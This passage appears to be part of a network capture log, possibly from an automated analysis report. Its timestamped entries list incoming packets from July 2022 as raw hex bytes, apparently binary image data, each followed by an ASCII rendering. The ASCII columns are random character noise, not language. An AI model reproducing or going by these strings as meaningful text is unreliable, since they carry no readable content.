b9 8d be cb 71 1d bb bf 99 6f fd ca 9c be 11 9d 4f 65 89 97 c0 9e 8f af 9f 99 72 e6 e5 e6 8f 56 77 b6 47 c5 ba f7 84 f4 9b a6 b6 92 e7 59 d2 b7 58 Data Ascii: O{mk'OYIqgj~?}~<>md[4yaOTk^n?inc!xmZms2[.n^k}E>7jc;#?mxF0mnHG"CYToOxO^RYukqoOerVwGYX
2022-07-21 02:34:44 UTC	2738	IN	Data Raw: b5 fa 7a 98 c6 a7 2c 65 d6 e7 a7 69 ba 0e 83 37 81 fe da d1 69 fe 20 d4 b6 3f da b5 49 24 ff 00 8f b9 57 a3 79 7c 57 35 0f 85 e6 d2 ff 00 b2 7c 3b ae 7f a1 de eb 96 5f 6a 82 de de 47 74 fd df fc bb b3 b7 0a c5 be 65 fe f5 70 f1 d8 41 e0 db 5f b6 5d 5d 7f a7 34 d1 79 11 f9 7f 3f cb ca f9 9f 37 ca bd cf 15 d6 6b 1a 96 a5 e2 2d 16 2f 11 6a 57 32 5c 5d 69 30 b4 7e 5d 97 cf e5 c2 af e6 6e ff 00 69 53 da bc cf 61 2a 72 95 a7 78 c9 e8 fb 3e 96 f2 b9 a7 34 65 ee f5 34 6e 35 dd 62 c6 2d 4b 48 ba d5 ae 2d e3 b6 b5 96 ea 1b c9 23 ff 00 59 bb fd 54 4c df c5 f3 70 56 bc 63 4b f1 17 8b 2e 9a f7 55 ba b6 93 55 be ff 00 8f a4 8e 4b 87 87 cc 4d 8c bb 17 fd 90 df c1 de bd 87 41 f8 a8 89 f0 f6 e7 ed 11 79 90 6a db a3 9e e2 de 3d ff 00 77 8d cb 1f f0 fc 9f 35 73 da 6e 92 96 Data Ascii: z,ei7i ?I$Wy\|W5\|;_jGtepA_]]4y?7k-/jW2\]i0~]niSa*rx>4e4n5b-KH-#YTLpVcK.UUKMAyj=w5sn
2022-07-21 02:34:44 UTC	2841	IN	Data Raw: 53 d7 ed 2f af 3f e2 53 6b e7 c1 e6 6f 4d e8 c9 b7 6c b3 7f 17 b5 15 f1 f4 31 94 ad 8a a6 9d 45 d2 dd c3 96 51 f7 a3 2d 0f 41 f1 86 8b 7f 73 a8 e9 ba 95 ac 7f 66 ba 99 1e d6 79 24 91 36 5a 43 22 7e f7 fd ea d1 f0 5e b5 63 63 e1 b9 74 54 b1 bc b9 b4 b3 4d 8f f6 2d 8e fe 4f fe cd ff 00 01 ae 26 e3 58 b4 d5 3c 13 a0 6a ba bc 77 97 0e f7 af f6 5f b1 fc f0 a3 b7 fc b3 93 fb ca 57 d6 ba 7f 17 6b f3 6a 4b e5 5b a6 a1 1e 9d 72 88 e9 71 65 f2 3c 1b be 5e 76 fc db 45 78 38 4a f5 70 0e 97 f7 5b ff 00 23 69 46 32 e6 97 72 7d 7b 56 d3 66 d1 6c 7e c5 7d 6f 6d e1 f4 76 7b a9 3c c4 85 3c 9e 99 6e 2b 8c b3 b7 be 7f 14 5b 5d ea 5a fe 9f 71 77 e4 4a 96 b7 9a 6d bf ee 23 b7 6f f9 67 06 7e f7 fb d5 93 e2 0f 09 6a f6 b6 37 3f 6d f3 2f 74 ab 38 22 ff 00 8f 68 f6 24 9f 3e e7 df Data Ascii: S/?SkoMl1EQ-Asfy$6ZC"~^cctTM-O&X<jw_WkjK[rqe<^vEx8Jp[#iF2r}{Vfl~}omv{<<n+[]ZqwJm#og~j7?m/t8"h$>
2022-07-21 02:34:44 UTC	2905	IN	Data Raw: 3f de 99 bf 8b e5 a7 35 9b db 6b 72 cd 71 1c 91 ec 87 7b ea 11 c8 8f e5 a7 fc b5 0b b3 fd 5b 7f 15 6b f5 8b 69 19 5d db 5f 5d 34 22 5f ca 79 56 9b e0 34 f0 fc ba bb 6a 51 fd 9b c9 45 92 ca 3f 33 7f c8 df 2a ed 3c 6d de d5 77 4f f8 6f 73 e1 fd 7a db 47 79 63 b8 fb 56 d9 de 4b 6d 93 a4 09 f7 94 e3 ff 00 1d 6a ee ff 00 e1 1f 86 1d 06 e9 b4 bd 46 4d 56 e2 67 8b ec bf e8 68 fe 7c 4d c6 d8 d5 fe ed 3e f2 14 b6 f1 17 f6 9b f9 7e 7a 25 c7 91 a7 d9 fc fb dd 53 6b 24 f2 70 db 76 f4 f7 af 42 59 85 49 f3 7b db fe 69 68 44 69 c7 f9 4e 67 fe 15 8a 49 a8 5c 9b 8b 9b 78 fc 94 57 fb 3f cf b1 2d db f8 7c cf ef 16 5c d3 3c 37 f0 df 4e d2 35 2d 5b 55 b7 8e 4b 7b bd 3f ec ff 00 e8 f2 fc 9f be 6f 45 e8 e9 b3 ad 7a 06 9b ad 3d e6 b5 a4 de ea 16 32 7f 65 6c ff 00 8f 89 37 ec 91 Data Ascii: ?5krq{[ki]_]4"_yV4jQE?3*<mwOoszGycVKmjFMVgh\|M>~z%Sk$pvBYI{ihDiNgI\xW?-\|\<7N5-[UK{?oEz=2el7
2022-07-21 02:34:44 UTC	3063	IN	Data Raw: 4f 87 1b 45 b9 96 5f b3 db 49 b2 de 37 bc f2 f6 42 e9 bf fd 67 fb 35 42 ce 34 93 c4 7f 67 86 59 0c 10 f9 5e 75 c7 c8 90 c9 0b 3f ee 99 ff 00 da ff 00 7a b6 35 2f 0c dc c3 15 96 a1 65 73 26 a0 96 d0 f9 f3 c7 2c 7f 3f dc f9 da 4c fd e5 7e cb 5c 5e f5 19 46 3e d1 ad 8d b9 b9 be c9 85 a3 e8 29 e0 db db 8b ad 36 e6 3b 89 a4 b3 68 21 fb 44 9f 3c 7e 4a 47 26 65 0d fd ed db 47 ad 6e 5e 78 46 c6 fe fa e6 ce de c6 3b 6b 17 87 c8 ba 92 4f f9 61 14 9d f7 7f b5 d3 76 6a 0d 1f c2 09 e2 2b 8d 36 de ec c7 6f fd a5 6a d3 de ea 11 c9 bd de 28 df f7 6b fe df cb f2 7f b3 53 5d 6a 49 6d a4 cb 64 d2 fd 8d 21 7f b2 fd 9e 3f 9f ed df be 77 4f 26 46 e5 f1 1e ed db eb 5a 95 27 39 de 32 bc ba ff 00 9f f5 ea 63 f0 fc 46 63 78 27 42 d2 f5 1d 5a ea ea 29 23 b2 b6 b6 fb 2d af d8 ae 36 Data Ascii: OE_I7Bg5B4gY^u?z5/es&,?L~\^F>)6;h!D<~JG&eGn^xF;kOavj+6oj(kS]jImd!?wO&FZ'92cFcx'BZ)#-6
2022-07-21 02:34:44 UTC	3382	IN	Data Raw: d7 65 1d 8e 9b a8 eb 3e 20 d2 75 2b 28 fc 88 6f 62 b1 49 2e 77 c2 f0 3b 6f dc 7c df e3 5f bb f8 57 cd d6 8c a8 d6 f6 8b 54 92 b6 97 d3 6b fc ce 9f 8a 3c bd 8e 0b c4 7a 5e bb 79 a6 e8 b3 68 16 f7 12 e9 d6 ce a8 f6 f6 d7 9b df ca fe f8 8b aa ab 3f 38 f9 ab b6 4d 7b 4b f1 96 87 1e 9b 71 24 91 be 9e 9e 5d af fa 3f f0 47 f7 f7 aa 7d cf 9f ee d7 38 6c 7f b0 74 89 6c b4 38 e4 28 66 b8 b2 4b 89 24 77 77 b7 ff 00 96 eb 0f 96 c7 7a ff 00 b6 ff 00 85 4f e0 3f 0b bd 97 84 ed e0 d5 74 d9 24 82 fe 79 6d 6d 6f 2d a3 74 7f b4 2f cd 14 7f 37 f0 ed ff 00 81 57 4d 7f 67 3a 29 bd e2 f4 b6 fd 42 31 97 d9 2b cd e1 fd 57 e2 27 85 e5 d2 de da 4b 6d 56 da f7 cc 7d 42 f2 44 77 8d d7 e7 2f b9 4e 78 ec b5 57 e1 94 d6 16 91 dc 9d 6e de f3 4a d1 b5 2b 5b c7 fb 66 9d fe a6 ee e1 77 c4 Data Ascii: e> u+(obI.w;o\|_WTk<z^yh?8M{Kq$]?G}8ltl8(fK$wwzO?t$ymmo-t/7WMg:)B1+W'KmV}BDw/NxWnJ+[fw
2022-07-21 02:34:44 UTC	3398	IN	Data Raw: bb 8f f1 51 f0 6f 54 b1 93 c2 65 b5 fb 8b 7d 42 ea f3 f7 69 79 1c 69 f3 a6 fc 2f c8 3e f6 3a 06 ad dd 57 45 9a 6d 7a e5 1c 7d 8a 3b ab 56 47 d2 e3 fd f6 ff 00 f9 e6 cf 1b 7d cf 9b a0 ff 00 66 b1 ad 59 42 a3 a1 51 6b 17 f1 77 5d 97 f5 ea 6b f6 79 bb 86 8f 71 6d a5 e9 ba 25 fd a5 f5 bf f6 37 9f f6 5d 42 3f b9 f6 4f 33 e6 76 f9 3d 5a ad 78 9a 68 7e dd 73 2d fc 92 7d 96 14 f3 fc c8 fe 47 92 dd bf 89 bf db 0d ca d7 3b a5 d9 a7 82 ec 6e ad 6c ad a4 f1 2c e9 e6 c7 65 71 1f f1 cd ff 00 2d 18 f6 5d 89 f8 56 37 87 f5 b8 97 c0 51 ff 00 69 dc 7d 8f 55 85 1a 48 6f 35 1f 9d e4 b7 67 dc 91 ed ff 00 d0 6b 9f ea ca 52 f6 b1 d5 5e de 6e fd 7f af d0 c7 9b 96 3c bc a5 af 0f 5b e9 5e 19 d2 75 1b a7 d2 64 d0 e3 d7 36 a5 ad e5 e4 9e 77 cf bf 6b f9 88 d8 15 a7 f1 06 d6 cf 47 b1 Data Ascii: QoTe}Biyi/>:WEmz};VG}fYBQkw]kyqm%7]B?O3v=Zxh~s-}G;nl,eq-]V7Qi}UHo5gkR^n<[^ud6wkG
2022-07-21 02:34:44 UTC	3406	IN	Data Raw: 21 8a d6 f6 f2 f3 e7 f9 3f 87 ca 6f 65 ff 00 0a ec c0 d1 84 a9 3a 55 b4 72 6e df 2d b7 fe bf 4c 65 29 73 73 1a be 1d b8 9f 4a 5b 9d 4a ee 5b 7b 7d 1c a4 ba 72 5c 5c ef 85 e3 97 7f cd f3 7f 1f cd fe f6 2b 3f c3 36 be 31 6d 07 5b b5 f1 34 76 f1 c7 33 a4 89 67 71 1a 4d 0f 95 27 dd f9 d7 ee b7 b5 33 ce b5 f8 89 a6 e9 91 26 a5 1c 9f d9 30 cb 02 47 24 9f 25 de d7 ff 00 5a e9 ff 00 2c ff 00 f6 6a ed 74 1d 17 4d 9a da 44 ba bd 93 50 b4 b5 74 7b d8 fe e4 32 4b ff 00 3c 95 ba ed ae 8c 45 55 87 8c b9 a3 ef 5f 5d 35 56 7a 5b d7 fa ea 11 fe ee c3 6d 34 78 23 b1 d3 a6 82 e6 e2 4b e8 75 08 a0 9a f2 de 3f 92 38 95 37 7f 17 f1 57 19 6d 7d 2c df 15 e5 96 ea 3f 32 d6 ea 47 fb 35 bc 7f be 9a 44 6f bd f3 2e 51 3d ab 7b e2 47 86 17 43 f0 fc 8e 9a bc 96 fb fc fb e8 3c c9 1d 2c Data Ascii: !?oe:Urn-Le)ssJ[J[{}r\\+?61m[4v3gqM'3&0G$%Z,jtMDPt{2K<EU_]5Vz[m4x#Ku?87Wm},?2G5Do.Q={GC<,
2022-07-21 02:34:44 UTC	3422	IN	Data Raw: ff 00 9e f5 df 87 a7 27 4a 58 9c 43 f7 e3 a2 bf f5 ff 00 04 89 4a 3f 09 d9 b6 95 f6 1f 0e 09 67 d6 ed e5 4f 96 4f 2e 38 d1 3e c8 8b fc 01 85 75 ba 8c 76 de 1f 93 44 b8 68 bc bb 4d 42 05 87 cc 93 ef ef 6f ee ed fe f5 72 be 38 d2 2d f4 3b a9 22 f3 2d f6 59 ba 4f 34 77 11 bb bf dc dd b7 d3 68 ae 9f 5b d5 a6 83 c1 56 3a 92 47 71 f6 e8 60 ff 00 45 8e e3 fd 75 86 ef f9 69 f8 7f 0d 79 b5 6f 55 42 7b a9 3f 4d cb 8c b9 64 74 1f 11 74 79 a1 b9 c6 a1 6d 71 a2 c0 96 a9 02 59 db 6c 79 93 77 76 6f ef 57 98 de 78 8b 52 d0 ad f4 4b 5b ab 6f ed 9d 29 27 96 ea ea de 4b 3f f4 c8 2d d5 ff 00 d7 3b 7b d7 4d 79 a9 6b d3 f8 4e cb 50 5d 4a e3 5d bb 9e 6d 93 45 27 fa ef b9 b7 73 6e aa ed 65 aa eb 56 b7 ba 84 b2 47 a3 5d c2 9f be f3 3e 4f 93 fe 7b 7f b4 bf 2f dd a8 c2 2f ab c1 46 Data Ascii: 'JXCJ?gOO.8>uvDhMBor8-;"-YO4wh[V:Gq`EuiyoUB{?MdttymqYlywvoWxRK[o)'K?-;{MykNP]J]mE'sneVG]>O{//F
2022-07-21 02:34:44 UTC	3438	IN	Data Raw: 18 ea 57 be 6c 97 1a 5a 45 a8 2c f3 5b c9 1a 79 33 c2 a9 c2 bb b7 cb bc b7 4f ee d7 4d a8 ef d4 bc 3f 72 d2 99 24 83 52 7f f4 af 33 e7 fb 26 d7 cf ef 78 f9 94 f7 ac 5f 0f eb 4f 7b e1 df 0f de de dc f9 73 dc dd 5c 41 f6 89 6d ff 00 d1 9e 2d ff 00 77 0b f3 48 b2 ff 00 7a b3 c3 f2 c6 1c dc ba a6 d2 f9 eb fa 7f 91 cd 2f 8b dd 19 e1 dd 36 ea c6 eb 57 d5 f5 5f 32 09 ee 7f d2 9f f7 7b ee 63 45 fb fb b6 ff 00 0e d7 db fd da ef 75 5d 43 c2 7a c6 a5 63 6f e1 88 e4 d2 a4 86 d5 ff 00 79 71 f7 fc d6 fd e3 7e f3 ef 70 bc ed fa 57 9a d9 6a 37 5a 2f 88 bc 41 6b 77 f6 8f de 42 af 0c 76 52 6c f3 36 be cf dc 9e ae 8b dc 36 ea b9 71 61 0b 49 15 c5 c1 b7 b6 b5 b3 7f b5 25 c4 9f f2 d3 fe b9 7f 13 63 bf f7 aa 6b d1 75 2a 73 ca 5d 34 b6 db 76 34 8c b9 63 ca 63 78 ab 53 78 fe 21 Data Ascii: WlZE,[y3OM?r$R3&x_O{s\Am-wHz/6W_2{cEu]Czcoyq~pWj7Z/AkwBvRl66qaI%cku*s]4v4ccxSx!
2022-07-21 02:34:44 UTC	3446	IN	Data Raw: fb c3 7f f0 90 4b a6 de 47 f6 cd 27 cf 48 fc bd f3 49 e5 be c6 49 cf f0 a1 56 fa fa 57 8f f8 83 c4 96 f0 ad 8e 99 fd 99 89 ec 3c 87 7b c8 ee 1f 7c e8 bf 2e e1 fe c5 7b 87 c4 4d 27 4d 9b c1 b7 1a 06 91 7d ff 00 09 0c c8 f6 f7 c8 63 93 fd 67 43 e4 f5 ca ec fe 2a cf 15 4f d8 d6 a1 52 4b e2 7a bf 2f 91 b4 79 a5 19 79 1c bf c4 af 12 78 8f c4 96 fa 6c 5a 95 ce 9f 1d ed cc 09 05 ad c6 95 1e c4 8e 1d 9e 64 48 87 3f dd fb d9 e5 6a 96 9b ac 5a 78 73 54 fb 75 dc 72 6a b7 a9 a6 7f 67 7f 65 f9 9e 77 97 0c 6f f3 6e 93 fd ee ab e8 d4 ed 43 c3 1a be 9b ad 7d aa 58 e3 fb 0c 36 ca f0 5b dc dc 7e e7 cd 93 ef 79 5f df 55 fe 2d b5 5e cd 13 4b f1 65 95 ab db 59 ea b3 cc 91 24 32 7d c8 63 97 fe 5a 46 57 a6 e3 ff 00 8e d6 90 f6 6a 97 25 3b 5a d7 b2 d0 39 a5 29 73 4b a9 d1 68 57 Data Ascii: KG'HIIVW<{\|.{M'M}cgC*ORKz/yyxlZdH?jZxsTurjgewonC}X6[~y_U-^KeY$2}cZFWj%;Z9)sKhW
2022-07-21 02:34:44 UTC	3462	IN	Data Raw: 49 bf ba 17 fb a1 7e f7 f7 bb 56 ff 00 87 6e 5d b5 bb 9f b6 db 5e 7f a4 ef d9 1c 97 0f 0f cf bf 6b ec e8 77 7a 57 5e 32 3e d2 11 9c 7e c6 cf bd 8e 78 eb ee 99 d8 4f b3 df 69 ba a7 ee b4 b8 52 58 20 fb 67 ee 6e 7c d5 ff 00 96 32 74 f9 9f f8 4d 71 3e 24 d1 2c ef b5 6d 35 ac 2e 64 b7 d3 66 87 67 da 3e e3 fc af b5 b6 af fc b4 fb dc ff 00 bb c5 7a ad b8 b9 d3 a6 4d 63 50 f3 2e 74 e7 46 47 b8 d4 7e 77 81 3e ea 6e fe 1d c7 ee 66 bc f2 fa 2b 6b 8f 14 7f 69 4e 24 b8 b5 f3 d2 3f ec b8 fe 78 67 87 ef 79 1b d6 bb 30 75 57 34 a5 1e df 2b ff 00 98 a5 1f 77 de 3b bf 87 7a a4 d3 69 b2 cb 2f 99 e6 68 6f 75 23 db dc fc 9f 6b 45 db 1a a2 2f f7 ab 94 bf bb 2b 73 65 e2 1b cb 6f b1 a4 37 aa 89 8b 7d 9f 79 30 ff 00 bc fe ff 00 f7 6b 1f 52 fb 4d ff 00 8b 3f b4 ac af 7f e2 5b 34 Data Ascii: I~Vn]^kwzW^2>~xOiRX gn\|2tMq>$,m5.dfg>zMcP.tFG~w>nf+kiN$?xgy0uW4+w;zi/hou#kE/+seo7}y0kRM?[4
2022-07-21 02:34:45 UTC	5225	IN	Data Raw: 93 f6 7b af b1 dc 7f cb 74 54 ff 00 5a aa 3e 66 4d db bf ad 76 fe 20 d5 3e df 26 93 12 c9 6f 70 f7 36 d2 cf 6b 1d c4 9f 24 92 af dc e3 f8 59 ab 8a b4 a7 1a f6 bd ee b9 5b ea 97 6f b8 be 5f 74 8a df ec f7 9a b4 9f f0 8f 47 1c 7a e4 de 6c ef 79 f7 fe 7f fe 24 ad 71 be 16 d2 6d 34 1d 27 c5 17 b6 51 de 5c 41 a7 bf 99 3c 77 b2 6c 79 1d 73 f2 26 79 fb ff 00 36 2b 63 45 63 e1 cd 16 2d 6a 5d 36 4b 3d 29 1d 9f f7 91 ef 78 e6 57 f6 c6 d5 a4 f1 95 e4 3a 96 a4 1e 0b 88 ed ef 9d d7 cf 92 4f df 27 ef 13 ee f9 7d 3f 1a 9a 5c d0 94 a8 ad 62 fa fa 7f 5f 23 19 47 94 e7 74 bd 61 3c 78 6e 65 bd 8e 38 ef af 13 e7 8f ee 7d e4 db b5 7f 87 9a d5 bc f0 db da d8 8b 7d 2a 59 2d d1 d3 62 47 6f 27 fa 4c f7 1b 38 f6 d9 1d 73 b1 78 8a c2 6d 7b 5f 66 d3 6c ec b5 cd 31 fc cf f8 f8 d9 e7 Data Ascii: {tTZ>fMv >&op6k$Y[o_tGzly$qm4'Q\A<wlys&y6+cEc-j]6K=)xW:O'}?\b_#Gta<xne8}}*Y-bGo'L8sxm{_fl1
2022-07-21 02:34:45 UTC	5233	IN	Data Raw: 1c 72 79 33 5f dc 6f db e5 af 68 97 fb b9 aa 53 78 b7 fe 29 f9 2e a3 be 92 df c5 4f ff 00 1e b1 c8 37 c3 3f 97 fb bd a7 69 d8 ab eb 5c 7f c4 cd 6a 1d 2f fb 12 cb 50 8e 3b 2b bb c4 59 1e f2 cb fb 8d f7 46 ce bf 7a bd 6a 34 ea 62 1c 69 d5 5a 27 a5 b7 d3 fa d3 f2 31 f8 47 eb 7e 13 d2 fc 2b e3 8d 3a e3 c1 ba b6 b3 a5 6f f9 3e c7 2c 9f be f3 95 ff 00 78 ad 32 7c ae 8b 5d 54 ce 9e 23 d3 6d af 6e 3f d1 a7 bc 46 83 ed 9e 5f cf 23 ab ff 00 ae d9 d3 69 ad 5f 0f cd 0d ae 9d 73 6e f6 d7 16 fa 8d 9d af d9 61 fe d1 8f 7b c9 bb 97 97 a7 c8 a6 b3 7c 5b 6e f6 d7 1a 06 a9 6b 7d 6f 24 76 d0 ca 89 24 9f 7d fc 9f f9 66 cb fd da ca ae 21 e2 2a 28 4b 75 d7 f1 34 f7 bf e0 1d 07 81 7c 65 71 e2 3d 5f 51 d4 4d b6 fb ab 68 7c 8d 3e df cc ff 00 5f 2a a1 de 18 7f 76 8b af 0e be 96 75 Data Ascii: ry3_ohSx).O7?i\j/P;+YFzj4biZ'1G~+:o>,x2\|]T#mn?F_#i_sna{\|[nk}o$v$}f!(Ku4\|eq=_QMh\|>_vu
2022-07-21 02:34:45 UTC	5249	IN	Data Raw: 4b 16 8b 73 f6 cb bb af dd cd 1c 91 a6 c4 f3 13 ef 27 fb 5f c3 5c 67 87 ae 74 ed 0a 4f b1 5d 6a 5f f1 2e 99 3c 87 b7 b8 8f fd 5f f7 bf e0 3b ab dd a3 1f 69 47 ae 9d 0e 73 a5 f0 9c 3a 2d bf 8d a5 ba b2 b6 b8 b3 b5 f9 7e cb 6f 24 7f fb 2f fb 55 a3 ad 59 c5 0f 8b 2d e0 d4 2d 6e 23 81 1e 57 86 de de 4f 9d df f8 bf e0 23 bd 72 3e 13 d2 ef fc 2d e2 89 7e cb fe 9b 1c df 3a 5e 47 26 ff 00 32 1f ef 7f b1 9e 95 d8 43 f1 2a d3 59 b7 d4 a2 b7 b6 ff 00 5d 0b 5a bc 76 f2 27 da 64 99 bf 87 fe b9 d6 38 8a 55 3d bf 3d 3f 79 5a d7 be df d7 f5 62 e3 ef 44 cb d6 35 e8 6d be cd a1 5e f9 97 96 29 27 97 0e a9 6d 1f fa b4 6f e0 8b fb cd eb 5d a7 87 23 fe cb b3 b6 fb 15 ef f6 8f da 76 47 0c 92 7d fd 9f f3 cf 6f b5 79 85 ff 00 d9 2f ee 74 d8 8c 72 5c 24 2e b0 7e ee 3f 25 20 ff 00 Data Ascii: Ks'_\gtO]j_.<_;iGs:-~o$/UY--n#WO#r>-~:^G&2C*Y]Zv'd8U==?yZbD5m^)'mo]#vG}oy/tr\$.~?%
2022-07-21 02:34:45 UTC	5265	IN	Data Raw: 7f ac 93 e9 5c 7e bd 66 fa 6e 8b 24 5f da df 62 be f3 d7 c9 b7 b8 8f 7c c8 fe ab fc eb d0 bc 37 7c b3 69 36 37 f6 56 51 de 5d 69 f0 22 7e f7 ee 49 33 7d fd 9f ed 7f 15 54 e9 fd 5e 8c 79 65 75 aa d7 f3 fd 0c be 29 1c d6 a1 f6 8d 37 4d d1 20 96 e6 3b 8d 2a 19 25 4b 9b 88 e3 f9 e4 95 5f ee ff 00 b6 86 ae f8 7f 52 87 c3 7a 06 a5 a9 c5 73 67 71 f6 0d cf 3f 97 1f c8 9f dc 84 1a 35 7b 9f b1 f8 4f 5f f0 95 fd ed bc 73 bf dc bc 8e 3d e8 9b bf f4 1a f3 ef 10 58 5f f8 6f 49 d2 3c 37 ac f9 7f d9 77 56 ad 7c 92 79 9e 4f 99 bb ee ef 64 fe 2a ed a1 4a 38 a8 7b 39 f5 97 de b7 b8 b9 b9 4e 9f c1 33 37 8a b5 fb 95 1a 4c 77 3a 97 92 f7 49 24 77 08 f0 ff 00 7b f4 a7 7c 4a f0 dd dd 9e 81 2e a4 fe 66 f7 44 ff 00 47 b6 fb 9b db bb 55 2f 87 a8 ff 00 f0 97 4b f6 5b 18 ed c7 cb 24 Data Ascii: \~fn$_b\|7\|i67VQ]i"~I3}T^yeu)7M ;%K_Rzsgq?5{O_s=X_oI<7wV\|yOdJ8{9N37Lw:I$w{\|J.fDGU/K[$
2022-07-21 02:34:45 UTC	5272	IN	Data Raw: 9b d8 d3 3c 43 a7 da 5e 69 32 6b 29 6f ff 00 13 1d 9f 3f da 24 de f0 27 f7 37 d5 b7 f1 36 a5 e1 ff 00 11 45 a1 d9 47 e5 a5 d5 aa cf 0c 7e 5f ee 63 46 4f 9b fe 07 5d 74 a1 28 c6 3e cf a7 4e d6 09 7f 78 97 4d fd c9 d2 6d 2d ee 6d e3 f9 12 7b db 79 3f d7 7c df de 6f e7 54 b5 2d 4a c6 0f 0c cb 7e f1 fd a1 21 79 67 fb 44 96 fe 74 d1 ed ff 00 9e 3b bf 43 59 50 ad 8d 9e bd a8 dd 3d 97 d9 de cf 6d 93 f9 91 bf fa 72 6c fe f7 f7 aa d6 b9 25 ce b3 a4 dc a5 97 99 f6 17 db be 3b 8d 9f e8 91 33 ec f9 47 f7 52 b7 f6 69 55 8b e9 a5 cc 3e c9 42 cf 52 36 71 e9 3e 22 ff 00 84 82 48 fc c9 ff 00 d1 6e 2e 37 f9 df 2f de 49 7f b8 bf 3d 15 99 f6 8f b1 f9 bb ec a2 bc bb d0 ee 96 c6 0d 46 da 4f 92 4d a9 9f b4 ec fb 8d 45 77 d4 c2 c2 a3 bc 95 fe ef 55 d1 f4 f4 f4 23 de 3a dd 06 da Data Ascii: <C^i2k)o?$'76EG~_cFO]t(>NxMm-m{y?\|oT-J~!ygDt;CYP=mrl%;3GRiU>BR6q>"Hn.7/I=FOMEwU#:
2022-07-21 02:34:45 UTC	5288	IN	Data Raw: e6 a9 ba b3 76 eb fd 7f 5a 97 29 72 cb dd d8 ec 7c 41 e2 6b 6f 13 78 2e 2d 2a 1b ef b4 68 16 53 6f 87 cb d8 e9 1a 6c f9 9b fd da d0 f0 fd ca 6b 5a 4d f5 d2 c7 26 8c fb 3e ca f1 f9 68 9b ff 00 b8 3f ad 66 59 e8 3f f0 8f dc 46 96 b6 d6 ff 00 f1 30 7f 22 ea 3f 2f 67 99 fa 55 3d 73 4d bc d3 6c 74 e4 b2 96 4b cb 44 d4 3c bf b3 c9 f7 f7 af df df 1f f1 7f b3 b6 bc 7e 5a 75 23 ec e9 cb ad d3 66 9e f4 be 23 56 e7 fe 25 76 46 0f b3 7d a2 48 7f d0 92 e2 df ee 27 cb bf 77 fb 2c 3d ab 9f d0 73 69 af 7f 67 6a 1e 5f d8 52 1f 3f cb 93 ee 46 92 7f b5 fc 6c 1b ef 2f f0 d7 7f 67 66 8f 63 6d 65 37 97 71 b3 72 3f ee ff 00 83 ef 6d ff 00 65 cf dd e6 b0 f4 1d 12 da f2 f7 56 99 24 8e 4b 1d 31 fc f4 8f e7 df be 4c b8 fb df 79 45 63 4a bc 79 2a 5f fa f3 2f 96 46 1e b1 a2 dc 7e f1 Data Ascii: vZ)r\|Akox.-hSolkZM&>h?fY?F0"?/gU=sMltKD<~Zu#f#V%vF}H'w,=sigj_R?Fl/gfcme7qr?meV$K1LyEcJy_/F~
2022-07-21 02:34:45 UTC	5304	IN	Data Raw: a8 7c 1b 6d fd ae f1 7d a3 e4 57 fb 3f 99 bd 37 b7 c9 e6 fa 36 ee f5 51 2c d5 ef 65 79 7f d1 ec 6d 9f cc b2 fb 4d bf fa c4 97 e5 d9 fe ed 37 4f d5 bf b6 3c 3b 1e 9f 7b e5 e9 f7 7a 4f fc bb dc 6f d9 e5 76 f9 eb 6a e2 fa 2d 5e 3d 4a cb 57 b7 f2 ff 00 b2 7c af b2 db c9 f7 e4 4f e1 29 fd ea 87 ed 23 29 73 6f d5 f9 74 b7 f5 d4 bf b2 2f 83 fc 79 e1 9b 2f 0b f8 93 ed 36 d2 5c 78 82 6d d1 e9 77 17 1f 3f 97 2a ff 00 70 ff 00 0e cf 93 e6 ae 12 d3 c3 3a a6 a5 e2 04 b8 d5 f5 fb 8b cf 10 7f 68 26 ff 00 dd ef 87 fd 57 cb be 4c ef fa 51 79 24 57 5e 13 bd 49 3c bb 84 d5 6f 6e 27 ff 00 57 b3 62 ec dc b9 db fc 23 6d 4b 61 e1 29 bc 33 a6 c7 fd 9f 2f db 35 3b c8 1b 64 91 c9 b1 23 89 be 69 37 ff 00 cf 4f 97 81 5e 95 38 53 c3 a9 b8 4a d2 9b eb af 4f 3d 91 ac aa 4a 51 8c 7b 1d Data Ascii: \|m}W?76Q,eymM7O<;{zOovj-^=JW\|O)#)sot/y/6\xmw?*p:h&WLQy$W^I<on'Wb#mKa)3/5;d#i7O^8SJO=JQ{
2022-07-21 02:34:45 UTC	5312	IN	Data Raw: f6 df f1 2e 47 47 f3 2d a4 d8 9b db e5 60 62 6f 9b fd ef f8 0d 60 bd a4 b1 49 c7 44 ba 6d d4 d6 5c bc be 65 5f 84 ba 54 df 0e b5 6d 26 f5 65 8f 50 d0 27 4d 97 b2 47 70 9f f0 1d ec df 75 07 f1 47 5d ad fe a1 a7 6b be 0b d5 b5 78 35 2b 7b 84 b6 82 5d 91 ea 31 ec 7f 95 f7 08 7f db 8f d2 aa 58 ea 56 9a 76 81 fd 87 05 b4 91 c9 a5 3f 91 75 1c 91 a3 f9 e8 df fb 3d 5a f1 35 85 9e 97 a7 7f 65 2c 7f 68 b4 f2 59 ed 64 b7 8f 7b fd a1 ba 1f f7 5b ee 67 d6 b0 af 57 db 62 14 ea 2f 79 bd fb a5 dc b8 ff 00 0c f3 88 ed 62 3e 27 d1 34 e1 65 24 69 f6 a4 74 92 49 37 c3 e7 6c cf dc fe 05 fe ea 57 77 f1 4f 41 4d 7a d6 c6 27 8e 4d 91 a2 c1 75 aa 59 47 b1 e4 78 fe 6f 9b 1f 2f cb 59 37 3a 6c 12 c9 a2 df f9 71 c7 25 d6 e8 f5 0b 39 2e 37 bc 13 6c c3 38 c0 fb c3 fb b5 d0 5c f8 7e e6 Data Ascii: .GG-`bo`IDm\e_Tm&eP'MGpuG]kx5+{]1XVv?u=Z5e,hYd{[gWb/yb>'4e$itI7lWwOAMz'MuYGxo/Y7:lq%9.7l8\~
2022-07-21 02:34:45 UTC	5328	IN	Data Raw: e3 ff 00 a6 5f dd 34 7c 4d f3 b4 af f8 99 5b da ff 00 68 e8 9a 7a 7e fb 4f f2 f7 a4 1d 9b 8e a9 5e 8c b9 3e b4 b0 d1 df fa fd 48 fb 3c c7 4f f0 ea ca 5b 8b 5d 45 6e 0d c4 7e 4a 79 e9 25 bc 88 fb d3 fb b5 35 be 95 66 fa dc 9a a6 af 1c 7a 5d a7 ca ef 6f f7 3f 73 b3 ef 3f 7e 6a 8f c1 a4 d4 6e 3c 3b 7d 71 6f 1c 96 ef 33 cb fe 87 27 cf e4 43 22 7f 1f fb 5f dd ac df 1c 78 9f fb 5a fa 3b 4d 16 e2 e2 39 34 99 b7 bd c7 99 bd 27 45 fe 0d 9d 76 d7 91 2a 53 96 32 a5 28 bf 57 db fe 1c af b3 13 9d d1 e4 b3 f1 75 f6 9d 34 12 49 a7 dc 69 